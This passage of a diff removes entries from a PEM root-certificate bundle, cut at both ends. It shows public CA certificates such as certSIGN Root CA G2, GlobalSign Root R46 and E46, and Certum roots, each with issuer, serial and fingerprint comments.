-BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg -THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v -IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv -xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H -Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G -A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB -eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo -jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ -+efcMQ== ------END CERTIFICATE----- - -# Issuer: O=CERTSIGN SA OU=certSIGN ROOT CA G2 -# Subject: O=CERTSIGN SA OU=certSIGN ROOT CA G2 -# Label: "certSIGN Root CA G2" -# Serial: 313609486401300475190 -# MD5 Fingerprint: 8c:f1:75:8a:c6:19:cf:94:b7:f7:65:20:87:c3:97:c7 -# SHA1 Fingerprint: 26:f9:93:b4:ed:3d:28:27:b0:b9:4b:a7:e9:15:1d:a3:8d:92:e5:32 -# SHA256 Fingerprint: 65:7c:fe:2f:a7:3f:aa:38:46:25:71:f3:32:a2:36:3a:46:fc:e7:02:09:51:71:07:02:cd:fb:b6:ee:da:33:05 ------BEGIN CERTIFICATE----- -MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNV -BAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04g -Uk9PVCBDQSBHMjAeFw0xNzAyMDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJ -BgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJ -R04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDF -dRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05N0Iw -vlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZ -uIt4ImfkabBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhp -n+Sc8CnTXPnGFiWeI8MgwT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKs -cpc/I1mbySKEwQdPzH/iV8oScLumZfNpdWO9lfsbl83kqK/20U6o2YpxJM02PbyW -xPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91QqhngLjYl/rNUssuHLoPj1P -rCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732jcZZroiF -DsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fx -DTvf95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgy -LcsUDFDYg2WD7rlcz8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6C -eWRgKRM+o/1Pcmqr4tTluCRVLERLiohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB -/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSCIS1mxteg4BXrzkwJ -d8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOBywaK8SJJ6ejq -kX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC -b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQl -qiCA2ClV9+BB/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0 -OJD7uNGzcgbJceaBxXntC6Z58hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+c -NywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5BiKDUyUM/FHE5r7iOZULJK2v0ZXk -ltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklWatKcsWMy5WHgUyIO -pwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tUSxfj -03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZk -PuXaTH4MNMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE -1LlSVHJ7liXMvGnjSG4N0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MX -QRBdJ3NghVdJIgc= ------END CERTIFICATE----- - -# Issuer: CN=NAVER Global Root Certification Authority O=NAVER BUSINESS PLATFORM Corp. -# Subject: CN=NAVER Global Root Certification Authority O=NAVER BUSINESS PLATFORM Corp. -# Label: "NAVER Global Root Certification Authority" -# Serial: 9013692873798656336226253319739695165984492813 -# MD5 Fingerprint: c8:7e:41:f6:25:3b:f5:09:b3:17:e8:46:3d:bf:d0:9b -# SHA1 Fingerprint: 8f:6b:f2:a9:27:4a:da:14:a0:c4:f4:8e:61:27:f9:c0:1e:78:5d:d1 -# SHA256 Fingerprint: 88:f4:38:dc:f8:ff:d1:fa:8f:42:91:15:ff:e5:f8:2a:e1:e0:6e:0c:70:c3:75:fa:ad:71:7b:34:a4:9e:72:65 ------BEGIN CERTIFICATE----- -MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEM -BQAwaTELMAkGA1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRG -T1JNIENvcnAuMTIwMAYDVQQDDClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0 -aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4NDJaFw0zNzA4MTgyMzU5NTlaMGkx -CzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVTUyBQTEFURk9STSBD -b3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlvbiBB -dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVA -iQqrDZBbUGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH -38dq6SZeWYp34+hInDEW+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lE -HoSTGEq0n+USZGnQJoViAbbJAh2+g1G7XNr4rRVqmfeSVPc0W+m/6imBEtRTkZaz -kVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2aacp+yPOiNgSnABIqKYP -szuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4Yb8Obtoq -vC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHf -nZ3zVHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaG -YQ5fG8Ir4ozVu53BA0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo -0es+nPxdGoMuK8u180SdOqcXYZaicdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3a -CJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejyYhbLgGvtPe31HzClrkvJE+2K -AQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNVHQ4EFgQU0p+I -36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB -Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoN -qo0hV4/GPnrK21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatj -cu3cvuzHV+YwIHHW1xDBE1UBjCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm -+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bxhYTeodoS76TiEJd6eN4MUZeoIUCL -hr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTgE34h5prCy8VCZLQe -lHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTHD8z7 -p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8 -piKCk5XQA76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLR -LBT/DShycpWbXgnbiUSYqqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX -5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oGI/hGoiLtk/bdmuYqh7GYVPEi92tF4+KO -dh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmgkpzNNIaRkPpkUZ3+/uul -9XXeifdy ------END CERTIFICATE----- - -# Issuer: CN=AC RAIZ FNMT-RCM SERVIDORES SEGUROS O=FNMT-RCM OU=Ceres -# Subject: CN=AC RAIZ FNMT-RCM SERVIDORES SEGUROS O=FNMT-RCM OU=Ceres -# Label: "AC RAIZ FNMT-RCM SERVIDORES SEGUROS" -# Serial: 131542671362353147877283741781055151509 -# MD5 Fingerprint: 19:36:9c:52:03:2f:d2:d1:bb:23:cc:dd:1e:12:55:bb -# SHA1 Fingerprint: 62:ff:d9:9e:c0:65:0d:03:ce:75:93:d2:ed:3f:2d:32:c9:e3:e5:4a -# SHA256 Fingerprint: 55:41:53:b1:3d:2c:f9:dd:b7:53:bf:be:1a:4e:0a:e0:8d:0a:a4:18:70:58:fe:60:a2:b8:62:b2:e4:b8:7b:cb ------BEGIN CERTIFICATE----- -MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQsw -CQYDVQQGEwJFUzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgw -FgYDVQRhDA9WQVRFUy1RMjgyNjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1S -Q00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4MTIyMDA5MzczM1oXDTQzMTIyMDA5 -MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQtUkNNMQ4wDAYDVQQL -DAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNBQyBS -QUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuB -BAAiA2IABPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LH -sbI6GA60XYyzZl2hNPk2LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oK -Um8BA06Oi6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD -VR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqGSM49BAMDA2kAMGYCMQCu -SuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoDzBOQn5IC -MQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJy -v+c= ------END CERTIFICATE----- - -# Issuer: CN=GlobalSign Root R46 O=GlobalSign nv-sa -# Subject: CN=GlobalSign Root R46 O=GlobalSign nv-sa -# Label: "GlobalSign Root R46" -# Serial: 1552617688466950547958867513931858518042577 -# MD5 Fingerprint: c4:14:30:e4:fa:66:43:94:2a:6a:1b:24:5f:19:d0:ef -# SHA1 Fingerprint: 53:a2:b0:4b:ca:6b:d6:45:e6:39:8a:8e:c4:0d:d2:bf:77:c3:a2:90 -# SHA256 Fingerprint: 4f:a3:12:6d:8d:3a:11:d1:c4:85:5a:4f:80:7c:ba:d6:cf:91:9d:3a:5a:88:b0:3b:ea:2c:63:72:d9:3c:40:c9 ------BEGIN CERTIFICATE----- -MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUA -MEYxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYD -VQQDExNHbG9iYWxTaWduIFJvb3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMy -MDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYt -c2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB -AQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08EsCVeJ -OaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQG -vGIFAha/r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud -316HCkD7rRlr+/fKYIje2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo -0q3v84RLHIf8E6M6cqJaESvWJ3En7YEtbWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSE -y132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvjK8Cd+RTyG/FWaha/LIWF -zXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD412lPFzYE -+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCN -I/onccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzs -x2sZy/N78CsHpdlseVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqa -ByFrgY/bxFn63iLABJzjqls2k+g9vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC -4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV -HQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEMBQADggIBAHx4 -7PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg -JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti -2kM3S+LGteWygxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIk -pnnpHs6i58FZFZ8d4kuaPp92CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRF -FRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZmOUdkLG5NrmJ7v2B0GbhWrJKsFjLt -rWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qqJZ4d16GLuc1CLgSk -ZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwyeqiv5 -u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP -4vkYxboznxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6 -N3ec592kD3ZDZopD8p/7DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3 -vouXsXgxT7PntgMTzlSdriVZzH81Xwj3QEUxeCp6 ------END CERTIFICATE----- - -# Issuer: CN=GlobalSign Root E46 O=GlobalSign nv-sa -# Subject: CN=GlobalSign Root E46 O=GlobalSign nv-sa -# Label: "GlobalSign Root E46" -# Serial: 1552617690338932563915843282459653771421763 -# MD5 Fingerprint: b5:b8:66:ed:de:08:83:e3:c9:e2:01:34:06:ac:51:6f -# SHA1 Fingerprint: 39:b4:6c:d5:fe:80:06:eb:e2:2f:4a:bb:08:33:a0:af:db:b9:dd:84 -# SHA256 Fingerprint: cb:b9:c4:4d:84:b8:04:3e:10:50:ea:31:a6:9f:51:49:55:d7:bf:d2:e2:c6:b4:93:01:01:9a:d6:1d:9f:50:58 ------BEGIN CERTIFICATE----- -MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYx -CzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQD -ExNHbG9iYWxTaWduIFJvb3QgRTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAw -MDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2Ex -HDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA -IgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkBjtjq -R+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGdd -yXqBPCCjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud -DgQWBBQxCpCPtsad0kRLgLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ -7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZkvLtoURMMA/cVi4RguYv/Uo7njLwcAjA8 -+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+CAezNIm8BZ/3Hobui3A= ------END CERTIFICATE----- - -# Issuer: CN=ANF Secure Server Root CA O=ANF Autoridad de Certificacion OU=ANF CA Raiz -# Subject: CN=ANF Secure Server Root CA O=ANF Autoridad de Certificacion OU=ANF CA Raiz -# Label: "ANF Secure Server Root CA" -# Serial: 996390341000653745 -# MD5 Fingerprint: 26:a6:44:5a:d9:af:4e:2f:b2:1d:b6:65:b0:4e:e8:96 -# SHA1 Fingerprint: 5b:6e:68:d0:cc:15:b6:a0:5f:1e:c1:5f:ae:02:fc:6b:2f:5d:6f:74 -# SHA256 Fingerprint: fb:8f:ec:75:91:69:b9:10:6b:1e:51:16:44:c6:18:c5:13:04:37:3f:6c:06:43:08:8d:8b:ef:fd:1b:99:75:99 ------BEGIN CERTIFICATE----- -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 ------END CERTIFICATE----- - -# Issuer: CN=Certum EC-384 CA O=Asseco Data Systems S.A. OU=Certum Certification Authority -# Subject: CN=Certum EC-384 CA O=Asseco Data Systems S.A. OU=Certum Certification Authority -# Label: "Certum EC-384 CA" -# Serial: 160250656287871593594747141429395092468 -# MD5 Fingerprint: b6:65:b3:96:60:97:12:a1:ec:4e:e1:3d:a3:c6:c9:f1 -# SHA1 Fingerprint: f3:3e:78:3c:ac:df:f4:a2:cc:ac:67:55:69:56:d7:e5:16:3c:e1:ed -# SHA256 Fingerprint: 6b:32:80:85:62:53:18:aa:50:d1:73:c9:8d:8b:da:09:d5:7e:27:41:3d:11:4c:f7:87:a0:f5:d0:6c:03:0c:f6 ------BEGIN CERTIFICATE----- -MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQsw -CQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScw -JQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMT -EENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2MDcyNDU0WhcNNDMwMzI2MDcyNDU0 -WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBT -LkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAX -BgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATE -KI6rGFtqvm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7Tm -Fy8as10CW4kjPMIRBSqniBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68Kj -QjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI0GZnQkdjrzife81r1HfS+8 -EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjADVS2m5hjEfO/J -UG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0QoSZ/6vn -nvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k= ------END CERTIFICATE----- - -# Issuer: CN=Certum Trusted Root CA O=Asseco Data Systems S.A. OU=Certum Certification Authority -# Subject: CN=Certum Trusted Root CA O=Asseco Data Systems S.A. OU=Certum Certification Authority -# Label: "Certum Trusted Root CA" -# Serial: 40870380103424195783807378461123655149 -# MD5 Fingerprint: 51:e1:c2:e7:fe:4c:84:af:59:0e:2f:f4:54:6f:ea:29 -# SHA1 Fingerprint: c8:83:44:c0:18:ae:9f:cc:f1:87:b7:8f:22:d1:c5:d7:45:84:ba:e5 -# SHA256 Fingerprint: fe:76:96:57:38:55:77:3e:37:a9:5e:7a:d4:d9:cc:96:c3:01:57:c1:5d:31:76:5b:a9:b1:57:04:e1:ae:78:fd ------BEGIN CERTIFICATE----- -MIIFwDCCA6igAwIBAgIQHr9ZULjJgDdMBvfrVU+17TANBgkqhkiG9w0BAQ0FADB6 -MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEu -MScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxHzAdBgNV -BAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwHhcNMTgwMzE2MTIxMDEzWhcNNDMw -MzE2MTIxMDEzWjB6MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEg -U3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRo -b3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQDRLY67tzbqbTeRn06TpwXkKQMlzhyC93yZ -n0EGze2jusDbCSzBfN8pfktlL5On1AFrAygYo9idBcEq2EXxkd7fO9CAAozPOA/q -p1x4EaTByIVcJdPTsuclzxFUl6s1wB52HO8AU5853BSlLCIls3Jy/I2z5T4IHhQq -NwuIPMqw9MjCoa68wb4pZ1Xi/K1ZXP69VyywkI3C7Te2fJmItdUDmj0VDT06qKhF -8JVOJVkdzZhpu9PMMsmN74H+rX2Ju7pgE8pllWeg8xn2A1bUatMn4qGtg/BKEiJ3 -HAVz4hlxQsDsdUaakFjgao4rpUYwBI4Zshfjvqm6f1bxJAPXsiEodg42MEx51UGa -mqi4NboMOvJEGyCI98Ul1z3G4z5D3Yf+xOr1Uz5MZf87Sst4WmsXXw3Hw09Omiqi -7VdNIuJGmj8PkTQkfVXjjJU30xrwCSss0smNtA0Aq2cpKNgB9RkEth2+dv5yXMSF -ytKAQd8FqKPVhJBPC/PgP5sZ0jeJP/J7UhyM9uH3PAeXjA6iWYEMspA90+NZRu0P -qafegGtaqge2Gcu8V/OXIXoMsSt0Puvap2ctTMSYnjYJdmZm/Bo/6khUHL4wvYBQ -v3y1zgD2DGHZ5yQD4OMBgQ692IU0iL2yNqh7XAjlRICMb/gv1SHKHRzQ+8S1h9E6 -Tsd2tTVItQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSM+xx1 -vALTn04uSNn5YFSqxLNP+jAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQENBQAD -ggIBAEii1QALLtA/vBzVtVRJHlpr9OTy4EA34MwUe7nJ+jW1dReTagVphZzNTxl4 -WxmB82M+w85bj/UvXgF2Ez8sALnNllI5SW0ETsXpD4YN4fqzX4IS8TrOZgYkNCvo -zMrnadyHncI013nR03e4qllY/p0m+jiGPp2Kh2RX5Rc64vmNueMzeMGQ2Ljdt4NR -5MTMI9UGfOZR0800McD2RrsLrfw9EAUqO0qRJe6M1ISHgCq8CYyqOhNf6DR5UMEQ -GfnTKB7U0VEwKbOukGfWHwpjscWpxkIxYxeU72nLL/qMFH3EQxiJ2fAyQOaA4kZf -5ePBAFmo+eggvIksDkc0C+pXwlM2/KfUrzHN/gLldfq5Jwn58/U7yn2fqSLLiMmq -0Uc9NneoWWRrJ8/vJ8HjJLWG965+Mk2weWjROeiQWMODvA8s1pfrzgzhIMfatz7D 